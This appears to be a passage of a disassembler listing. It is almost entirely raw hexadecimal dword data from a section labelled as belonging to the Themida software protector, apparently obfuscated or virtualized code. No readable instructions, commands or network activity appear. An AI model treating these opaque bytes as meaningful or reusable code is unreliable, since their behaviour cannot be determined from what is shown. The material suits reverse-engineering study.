		dd 61005D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	63C35242h, 9D8B61F1h, 61015A9h,	22C185C7h, 30610h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0C06826C3h, 3B0C8314h, 0B70FD88Ah, 6DBD83DEh
		dd 613C2h, 46840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 170424h, 56460000h, 63739BC3h, 15BD89D1h
		dd 0E906102Ah, 37h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 82C35141h, 110C3050h,	1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 0FC08B00h, 68Fh,	5BD8B00h, 66061017h, 0BD83DA8Bh
		dd 61022C1h, 850F03h, 6A000005h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F07BC355h,	67000B12h
		dd 0D614A51Ah, 201DB589h, 0BD830610h, 613C26Dh,	0C8840F00h
		dd 0BB000004h, 30C20F8Dh, 0C26DB5FFh, 8F0F0613h, 6, 0FDE9D381h
		dd 95FF1185h, 6102FA5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 7DC35747h, 7094B5C4h,	0BF66B2E3h, 0B58B43AFh
		dd 613C261h, 2795BD0Bh,	6C70610h, 10001h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 0FBC35242h, 0BBA8262Ch
		dd 0EB2D285Ah, 9D9D8B3Ch, 96061008h, 3CE2F0BFh,	5056501Ch
		dd 0D88B6652h, 14E9310Fh, 91000000h, 158DB7B7h,	62D885A5h
		dd 42112224h, 78C933F0h, 5A2B87B3h, 6A965B58h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 4B1FC356h, 0C61C3944h, 732E6D9Ah, 14E59D89h,	9D8B0610h
		dd 61013F1h, 0C26DB5FFh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0E9ADDCC3h, 13793A17h
		dd 8A0Fh, 0E9570000h, 0Dh, 4E1176C4h, 0E2CD433Bh, 0A2640AD6h
		dd 95FF5FE0h, 6101225h,	0C261B58Bh, 6A0613h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0E02042C3h
		dd 0F165E48h, 1881h, 13E900h, 0D3A80000h, 87EFA7E3h, 0C681227h
		dd 0FCBB8AEEh, 9223ED56h, 0D1858B7Bh, 6A061021h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 40D2C356h, 4DB460Ch,	0C48689h, 95090000h, 6100B09h
		dd 9F5958Bh, 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0FF8542C3h, 80D8033Fh, 0C2839EB3h
		dd 13E904h, 4FCD0000h, 0AA95E9ABh, 0C78C25A4h, 0DDE4D183h
		dd 0EE305AB3h, 20508966h, 1BAFBB66h, 0D7C2858Dh, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 721172C3h, 9554E1DDh, 89FB40F7h, 10284D95h, 0B8868906h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 2038C355h, 51D0806h, 0BD23FB8Bh
		dd 6101F31h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h
		dd 53430000h, 0BA5B0BC3h, 0A32F49B3h, 66160F0Ah, 0B5FFF98Bh
		dd 613C26Dh, 0DEDBD8Bh,	95FF0610h, 6100495h, 1F3D8D89h
		dd 0E8500610h, 0Eh, 0E01A88B4h,	0B0F55082h, 3B38F2A5h
		dd 0BF669E85h, 895B08D8h, 6E92434h, 0B1000000h,	6B4E41E5h
		dd 0C19D0391h, 0FF061016h, 13C26DB5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 0D300FD4h, 5DE943B7h, 6E8h, 0B4753F00h, 0B32C96E4h
		dd 95FF5FFCh, 610162Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0A0C35747h, 9D2B62FAh, 6100935h, 56DB8166h
		dd 51BD83DCh, 61013h, 3E840Fh, 81660000h, 50A57FD3h, 0FE8h
		dd 387A2F00h, 547BCF3h,	0BAF48AF1h, 0CF297F76h,	0BFE7BF66h
		dd 2434895Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	17C35747h, 0C26DB5FFh, 6A0613h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0E58AD8C3h
		dd 0D4193BACh, 60CB2B9Fh, 14E8h, 52D21300h, 0FB4ED10Dh
		dd 0E1BDC699h, 5BB830B4h, 24273911h, 7E811h, 45930000h
		dd 0CE87A01Dh, 0F85F5EC0h, 1995FF61h, 0F06100Ch, 148Ah
		dd 0BD896000h, 61006F5h, 7E9h, 9DC34C00h, 36918C6Fh, 8E861h
		dd 5E1D0000h, 28A48F51h, 0FA8BA147h, 6DB5FF5Fh,	6A0613C2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 15CC352h,	0F33FAFFEh, 0F81BC95h, 0B70FF8B7h
		dd 2195FFFBh, 6A061016h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 8983C352h, 9D8B69B0h
		dd 6100FB5h, 0F89BD83h,	0F020610h, 6284h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 5A1909CCh, 8B6B043Eh, 1010C585h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 53946ECCh
		dd 0BE9101Eh, 0F2000000h, 0CA50F18Bh, 34097184h, 0C6FBC9h
		dd 1DBD8B00h, 0C7061013h, 102A2585h, 6,	919D8B00h, 0E9061013h
		dd 0FFFFF29Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0BCC35545h, 833D92C5h, 5DE0FB87h, 89C18B86h, 100C29B5h
		dd 0B9858D06h, 2B061013h, 102DBDBDh, 8B509006h,	816690FBh
		dd 6AF218DBh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 8EADAB33h, 0CDC98ED6h, 1D858980h
		dd 50061019h, 1659D8Bh,	6A5F0610h, 0B5896000h, 61016DDh
		dd 0AAD9D33h, 8D610610h, 14716885h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 89F9FA91h
		dd 101DFD8Dh, 5C08306h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 70C35141h, 0D1BD0B4Eh, 0B306100Dh, 4895066h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 85B61DCh, 33A58FD8h, 1015919Dh, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 74F7C353h, 14BAA2C6h, 9D8BD0FDh, 61030A5h
		dd 0B0BB006Ah, 0FF3DB34Eh, 101D1995h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 0E9B04A92h, 0Fh, 0B9F7247Dh,	9AC3134Eh, 35051338h, 8D77FE19h
		dd 13AFD88Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0B9C348CBh, 1A7B6F82h, 0EDBF66D1h
		dd 0CD9589CBh, 0FF06102Eh, 1A870FD1h, 60000000h, 12E9F8h
		dd 7CAA0000h, 0CFB24AC4h, 9663C294h, 8E795FE1h,	91EBF02Ah
		dd 9BD8361h, 1061022h, 75850Fh,	0B5290000h, 6102275h, 6A026Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 152623C3h, 0D2E35080h, 0D7816682h, 8166C4F5h, 509139CBh
		dd 2870Fh, 4B70000h, 0FF240489h, 10049595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0D8094D0Bh, 9E8h, 0FE4DBE00h, 851C6643h, 0E95FB529h
		dd 0D5Fh, 0E8h,	0ED815D00h, 6147172h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0EC35646h, 14E912FDh, 0CD000000h
		dd 102624E6h, 6692444Eh, 9A4ECE8Dh, 9AD28B65h, 89D2BDD1h
		dd 100B61B5h, 0B6858D06h, 6A061399h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 665EC355h
		dd 504630BFh, 0DCA0BB51h, 895F437Ch, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D03EEC3h
		dd 6100715h, 0D5BD0156h, 5B06101Eh, 35FF64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0F44C357h, 8E0FDFBFh, 8, 0A5B58950h, 5F06101Eh
		dd 258964h, 60000000h, 61D58AF9h, 141985FFh, 6A0610h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 6AF55AC3h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0FBFD4112h, 0C37D23A6h, 0F2BF665Ch
		dd 0EDB5FFC0h, 3061011h, 1031699Dh, 1595FF06h, 0E9061006h
		dd 11Dh, 0B0DD8Ah, 11860Fh, 0CE90000h, 5A000000h, 3E48C00Ch
		dd 371F276Ah, 0E62FB814h, 0CBB6670h, 0F71E41Ah,	613CFFB7h
		dd 0EF830Fh, 7E80000h, 85000000h, 4AD7734Fh, 8166D243h
		dd 5F4DD5DFh, 8BC8B60Fh, 102395BDh, 6BA06h, 95010000h
		dd 6102105h, 8166C18Bh,	0F89960DFh, 2B04E8C1h, 100A619Dh
		dd 0E2F76606h, 0C82BDE8Ah, 9E9h, 43ECF400h, 88E8058Ch
		dd 0D18BEC4Eh, 0E69B589h, 0EE90610h, 0F000000h,	885h, 2820F00h
		dd 8B000000h, 5858BD8h,	0F061001h, 884h, 95895100h, 610004Dh
		dd 7C0835Bh, 0E359D8Bh,	0C0830610h, 5654BF00h, 0D03B22D5h
		dd 13830Fh, 0E9F80000h,	55h, 8A24BB56h,	295B334Ch, 10045DB5h
		dd 18D8B06h, 0F061028h,	386h, 0BCE78000h, 0F01E183h, 3084h
		dd 62BB6600h, 1A5837Ch,	0FE061028h, 21518531h, 95890610h
		dd 6100105h, 0CE8h, 54E63D00h, 0E2D64AB0h, 89E84C91h, 5FFA8ABFh
		dd 0E9h, 0A8B58D00h, 6A0613FEh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 5E3AC350h, 6A0960D0h
		dd 9D895300h, 6102005h,	0C995FF5Fh, 60061031h, 7EDFA8B8h
		dd 62B96174h, 8B000009h, 1012C99Dh, 0FCE18306h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A6C35747h, 4A36F75Bh
		dd 895F57FCh, 101B899Dh, 5E906h, 693D0000h, 0FC17D535h
		dd 35BD8B52h, 5F06102Fh, 9509C02Bh, 6102FA9h, 11E8D22Bh
		dd 36000000h, 0E03115F1h, 23319673h, 337B3676h,	7C1DA9EAh
		dd 0F35DBF66h, 0C233AD5Fh, 0D003E8D1h, 7504E983h, 0D8D780F4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0B1C35747h
		dd 664CA9DBh, 1369EB81h, 0EE8h
		dd 0C6FDDA00h, 2FE84259h, 0C8A27C08h, 0E9D139C3h, 0Ah
		dd 0B0140F78h, 86124D8Ah, 0D5F9598h, 88h, 12E8h, 5196D300h
		dd 2DEA8F77h, 3E187B25h, 0F566CA3Ah, 5B4EE076h,	9F5958Bh
		dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0BE10AC3h, 0BB561CA9h, 1E9066D0h,	23198D8Bh
		dd 8B500610h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 1D059D8Bh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 477916C3h, 81B81178h, 2E4F78CBh
		dd 29BD831Ch, 6101Eh, 67840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B4656C3h
		dd 0B8F9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 404DA0C3h, 0DD1F8D71h, 0D1BD8B0Ch
		dd 8D061006h, 104E858Dh, 39CB8006h, 0FFDEB70Fh,	7E9E1h
		dd 0BD030000h, 33562A1Ch, 0C1BD8357h, 61022h, 44B840Fh
		dd 12E90000h, 69000000h, 605027B5h, 27E5A789h, 489E9DC0h
		dd 6CBA4ABCh, 0C1BD83BFh, 1061022h, 442840Fh, 0BD830000h
		dd 61022C1h, 0FF860F03h, 80000003h, 6660CFEFh, 668010BBh
		dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 75A08C3h,	440887BAh, 60B18FA4h, 12B58589h
		dd 81660610h, 6136BACAh, 0AF67BB66h, 6A04E180h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0CE46C356h, 0C90A5F51h, 10C840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D899DC3h
		dd 61015B1h, 2185858Bh,	0F3810610h, 137969EEh, 11FD8533h
		dd 6A0610h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 1A31CFC3h, 5B76BE4Fh, 0EE8E7h, 46C90000h
		dd 7FC2583Eh, 0B2252A85h, 9A837A10h, 5B99D03h, 505F0610h
		dd 66525051h, 0F7F5FBFh, 489ABF31h, 585A336Fh, 2404895Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DEC35141h
		dd 0B718EAC0h, 7E4BF9BFh, 358D8908h, 6A061006h,	0F19D8B00h
		dd 68061007h, 5369D128h, 3481F98Bh, 76D2D724h, 576DBF53h
		dd 95FF010Ah, 61005D5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0C8C35545h, 0BD1157AEh, 4BC78192h, 893D3B99h
		dd 13C26D85h, 41BD8B06h, 0E906102Fh, 224h, 858B7AB7h, 613C265h
		dd 13919D8Bh, 0C70610h,	18h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 2DC35747h, 8045DCB4h, 0D9BD2320h
		dd 8B061018h, 13C269B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0D375DC04h, 0F0DBD8Bh
		dd 0BD8B0610h, 610062Dh, 0E25858Bh, 0D3810610h,	471C4BF7h
		dd 68C0Fh, 0BD8B0000h, 6102A01h, 6A0689h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 4F709C3h
		dd 0F2262692h, 8B60973Bh, 1000458Dh, 2D8D8906h,	61061014h
		dd 2185858Bh, 0C4B30610h, 6A044689h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0DBFC350h
		dd 5560ACDCh, 0FB4B34C3h, 27859D2Bh, 8B660610h,	8F0F50F9h
		dd 17h,	0AE95250h, 9B000000h, 0E2D1D925h, 0FDEABFF2h, 53310F56h
		dd 89585A5Fh, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 507F27C3h, 2B346328h, 10E9h, 0B31B9100h
		dd 0EEDAD0D8h, 0C700ABE8h, 0B0133577h, 65B5FF73h, 0E90613C2h
		dd 0Bh,	0DE589A63h, 0BA1337B4h,	689A4CBBh, 0CAA0FC78h
		dd 10E8h, 0D1B45000h, 0AFA577B7h, 0C6E863BCh, 46FD5ADEh
		dd 0DE8AAh, 14B70000h, 0DA5A7D38h, 9EE942E0h, 5284ABFCh
		dd 815F5B5Fh, 7872404h,	0BD8B357Eh, 6100FD9h, 0C26D858Dh
		dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0B529ACC3h, 6100715h, 8B525050h, 66310FDFh
		dd 585AFA8Bh, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0E5ACC351h,	143DBD33h
		dd 0BD2B0610h, 6100D6Dh, 5D595FFh, 6A0610h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD296EC3h
		dd 6101E2Dh, 0ADBD8B61h, 0C7061013h, 1022C185h,	306h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 66AA5E34h, 1E51F781h, 0BD83FE8Bh, 613C26Dh, 23840F00h
		dd 8B000000h, 37E9F9h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 305028C3h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0F99D8BC0h
		dd 6A061005h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 8A3BC355h, 0F63C3566h,	8E0F162Fh
		dd 8, 2850Fh, 5F510000h, 22C1BD83h, 0F030610h, 41485h
		dd 81665700h, 5F8C3ACFh, 0C26DBD83h, 0F000613h,	40084h
		dd 39B58900h, 8B06102Dh, 6DB5FFD9h, 6A0613C2h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0B924C352h, 0BD8B7CEDh, 6102D6Dh, 2FA595FFh,	6A0610h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 5C6C91C3h, 9112E653h, 332D9D09h, 45BF0610h, 8B499225h
		dd 13C261B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0B2AE3DBFh, 66DA2ABh, 0BD09DF8Bh
		dd 6102825h, 106C7h, 0E7810001h, 5E9EC797h, 1EB5BD8Bh
		dd 89500610h, 8B662434h, 6E9DEh, 697D0000h, 650D3E75h
		dd 0C26DB5FFh, 95890613h, 6100461h, 0BE9h, 39EC4A00h, 6E35C8B4h
		dd 611CE263h, 122595FFh, 8F0F0610h, 6, 30719501h, 0B58B0610h
		dd 613C261h, 8BD9B70Fh,	1021D185h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0DDCB80AFh
		dd 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 64A200C3h, 6732CB81h, 9D8B24A2h
		dd 6103041h, 9F5958Bh, 6A0610h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0FE8E05C3h, 8B60551Eh
		dd 0AE9D3h, 828B0000h, 2B44AD19h, 1AD7C37Eh, 4C28361h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 37C35242h
		dd 89F8BF0Fh, 0FB8B2050h, 0D7C2858Dh, 6A0613h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0A83C07C3h, 8166B9E1h, 89BDE5CBh, 0B886h, 6D9D8900h
		dd 6A061009h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h
		dd 0C3504000h, 44E1ED7Ch, 6DB5FFF9h, 6A0613C2h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0FB23C350h, 0E9E4105Ch, 10h,	0B00F54D3h, 43D28A3Fh
		dd 86C5B89Ah, 41B6449h,	49595FFh, 0BE90610h, 0A6000000h
		dd 2D85A800h, 6D9D89C6h, 5250D827h, 66616060h, 5F61FA8Bh
		dd 89243489h, 101DC9BDh, 6DB5FF06h, 6A0613C2h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 3B92C351h, 31C59501h, 95FF0610h, 610162Dh, 1C19D8Bh
		dd 0BD830610h, 6101351h, 33840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0E6E1C351h, 5DA4A2C0h, 8EBF6696h, 0BBBB500Ah, 9672C93Dh
		dd 6D9BD29h, 0B5FF0610h, 613C26Dh, 0AAEF8160h, 61754052h
		dd 0C1995FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 66CC3DC3h, 0A71A9957h, 0E8F0F3Ch
		dd 60000000h, 820Fh, 830F0000h,	0
		dd 6DB5FF61h, 6A0613C2h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 99BDC355h, 4D62E3A0h
		dd 3DBD037Ah, 0FF061001h, 10162195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0A59D2BC4h
		dd 2906100Ah, 101E9DBDh, 89BD8306h, 206100Fh, 5F840Fh
		dd 0B5890000h, 6101929h, 10C5858Bh, 6A0610h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0A93F9C3h
		dd 8B91C19Fh, 10218DBDh, 0C606h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 15h, 9DC35646h, 1DBD8B19h, 2B061024h
		dd 102965BDh, 2585C706h, 6102Ah, 0E9000000h, 5,	5FA454CAh
		dd 0F3B1E902h, 8B66FFFFh, 66C18BD8h, 8DC426BFh,	1013B985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0FBC05537h, 75E56D1Bh, 0FEBF0F62h, 7E990h
		dd 17800000h, 0F50F3F9Bh, 819050D5h, 39093BEFh,	0E9006A6Bh
		dd 10h,	0D405909Ah, 0ACB1D6BBh,	0B1950667h, 165F5851h
		dd 960006Ah, 102A2DBDh,	61EC8A06h, 0CE9h, 9952E00h, 5F5BCE70h
		dd 0DA4E0E33h, 70858DFCh, 9061480h, 1030A595h, 5C08306h
		dd 1473DF81h, 60507050h, 0E8B641B8h, 4896178h, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0AE8AB86h, 0E7000000h, 0DD975B86h, 0DC119474h, 0DF815BF0h
		db 15h,	0F1h, 49h
byte_5933FF	db 78h			; DATA XREF: Themida_:0054BF84o
		dd 0CB80006Ah, 9006A53h, 100B199Dh, 1995FF06h, 106101Dh
		dd 101049BDh, 0D88D8D06h, 0E90613AFh, 9, 0EDF4F370h, 0AC2B62C9h
		dd 6AD1FFC1h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 6188C352h, 5AFC9F4Fh, 30C62243h
		dd 7EBF6653h, 0BD835FE2h, 6102209h, 74850F01h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0CC7EC353h, 8BD98B19h, 1004E5BDh,	6A026A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0C3FBC356h, 919D2B42h, 81061029h,	1A7363CFh
		dd 0CE95029h, 58000000h, 3B7BFE35h, 2C28537Eh, 893DFA5Dh
		dd 0F3BF2404h, 0FF1C4033h, 10049595h, 0E9DA8B06h, 0D8Eh
		dd 0E8h, 0ED815D00h, 614807Ah, 18A1BD89h, 6A0610h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 1EA03EC3h, 0D01DF5C7h, 0C9CDBF66h, 99B6858Dh, 890F0613h
		dd 2, 0BF50DE8Bh, 0D5EDBC5h, 6A240489h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F30FC353h
		dd 12E08A65h, 0E9F98B66h, 0Ch, 0C680FB67h, 0E4009226h
		dd 6B0A9712h, 35FF64h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 6789C350h
		dd 9615C4DDh, 0CD9D8BF3h, 64061005h, 2589h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 667AEDC3h, 0FF13D7BFh, 10141985h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0C65EB8BDh
		dd 0FF6A9E64h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0CDC35545h, 6B8D8548h, 9E88Eh, 0CD5B0000h, 3C09890Ah
		dd 5F3E3A4Ah, 6840Fh, 8D890000h, 6102779h, 0BB9B5FFh, 6A0610h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 7313BEC3h, 0D74A33DBh, 2985BD0Bh, 95FF0610h,	6100615h
		dd 108E9h, 0F7816600h, 0B06F2Ch, 53B770E6h, 26B371E4h
		dd 830F613Ch, 0F1h, 1B119D8Bh, 0B60F0610h, 7E9C8h, 58DA0000h
		dd 0F720CF1Eh, 6BAE5h, 0BB660000h, 8BFCC254h, 75BF66C1h
		dd 4E8C161h, 22999D89h,	0F7660610h, 0AE9E2h, 0D9860000h
		dd 7EE54CFCh, 0B87382D5h, 9589C82Bh, 6101B11h, 8B60D18Bh
		dd 1005CD9Dh, 0DE906h, 0D6200000h, 2B7811B8h, 46F64562h
		dd 61E7F49Dh, 12E9h, 0C8E0F00h,	0F000000h, 68Eh, 39BD8B00h
		dd 8B061007h, 1010B585h, 0C083FC06h, 0C08307h, 9E8h, 0EA4A0C00h
		dd 0EEC590DAh, 9D8B9EA1h, 6101CE1h, 0B99D895Bh,	3B061023h
		dd 0B830FD0h, 80000000h, 3EE990EFh, 66000000h, 8D8BFA8Bh
		dd 6102AB1h, 935BD2Bh, 0E1830610h, 26840F01h, 8A000000h
		dd 0B1A583D9h, 0FE06102Ah, 9589E7B3h, 61010B5h,	0BE9h
		dd 0FC695200h, 0E93CD67Ch, 64844FC0h, 0E9h, 3AB58D00h
		dd 0F06140Ah, 0F84h, 0AE900h, 0D3300000h, 0C884030Bh, 0FDD03165h
		dd 12E8006Ah, 0D6000000h, 183391D3h, 5F6FE686h,	706EF0E7h
		dd 372EA93Dh, 7DDF815Dh, 5F0BE9FDh, 31C995FFh, 81660610h
		dd 0B999D3CFh, 7E4h, 0E860Fh, 9E90000h,	49000000h, 811541FAh
		dd 88381987h, 10799D8Bh, 0E1830610h, 53006AFCh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 65F849A2h
		dd 0F821921h, 1850Fh, 0E9F90000h, 10h, 0AAD83D59h, 5712A469h
		dd 0EC5CD7E5h, 0DBBA334Bh, 559D89FCh, 0B8061001h, 0
		dd 307DB589h, 0BA0610h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0CD97C353h
		dd 0CFC3368Eh, 9D8B19FFh, 6101575h, 0D1C233ADh,	83D003E8h
		dd 0F47504E9h, 50006AF9h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 45622B78h, 0F49D46F6h
		dd 9D038FE7h, 6100A31h,	11A59D8Bh, 880D0610h, 9000000h
		dd 102EF98Dh, 0F5958B06h, 6A061009h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B32C356h
		dd 1023198Dh, 8BFE8B06h, 102EE59Dh, 0C28B5006h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6A76E8BBh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 39BDC355h, 0D496FC7Bh, 892EE9B2h, 1019F18Dh,	29BD8306h
		dd 6101Eh, 44840Fh, 0DB810000h,	51FC0003h, 0B8F98B66h
		dd 0
		dd 13F1B589h, 8D8D0610h, 6104E85h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 27C35343h, 0F0EEB80h, 0E1FFFFBFh
		dd 11C5B531h, 0BD830610h, 61022C1h, 0AF840F00h,	6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 66A6C357h, 4B88EB81h, 22C1BD83h, 0F010610h
